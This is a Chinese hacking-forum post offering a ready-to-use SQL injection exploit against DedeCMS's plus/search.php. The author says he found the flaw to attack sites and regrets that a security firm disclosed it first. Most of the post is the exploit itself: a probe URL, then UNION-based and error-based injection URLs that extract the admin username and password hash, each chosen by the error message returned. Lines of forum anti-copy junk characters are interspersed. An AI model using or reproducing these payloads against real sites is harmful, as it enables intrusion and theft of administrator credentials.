[通杀]dedecms plus/search.php 注入漏洞利用EXP

admin

转载不加作者名的没JJ
  D8 z) x& |" X9 }" [5 H
哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站  放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。
1 ]- g( L- |* z- e- G; ^
9 _9 r  p7 e0 a7 L  G" @+ S* D$ D. F既然已经发出来了，我就把我自己搞的exp发下吧。。唉。

) K) V) b$ u3 m+ l$ \7 k我一般是这样测试的：

' V8 X) H( p: ]5 o提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a

转载不加作者名的没JJ

作者：鬼哥

) N/ K+ b8 y+ d* l% M6 D2 U  l, c

看结果如果提示

Safe Alert: Request Error step 2 !

+ z4 l2 q4 V+ ^6 H8 W' y那么直接用下面的exp

' N( F9 b8 H( H' S! j$ t$ Z: ~xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a


看结果如果提示

Safe Alert: Request Error step 1 !

5 v, l& b& M& w+ c$ C. s0 H+ H那么直接用下面的exp
0 ]8 {2 n, ?' h
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

( `# `" F: h$ `3 ]7 S" g  F
如果正常显示证明漏洞不存在了。

5 B/ B# U# M8 \. k' j转载不加作者名的没JJ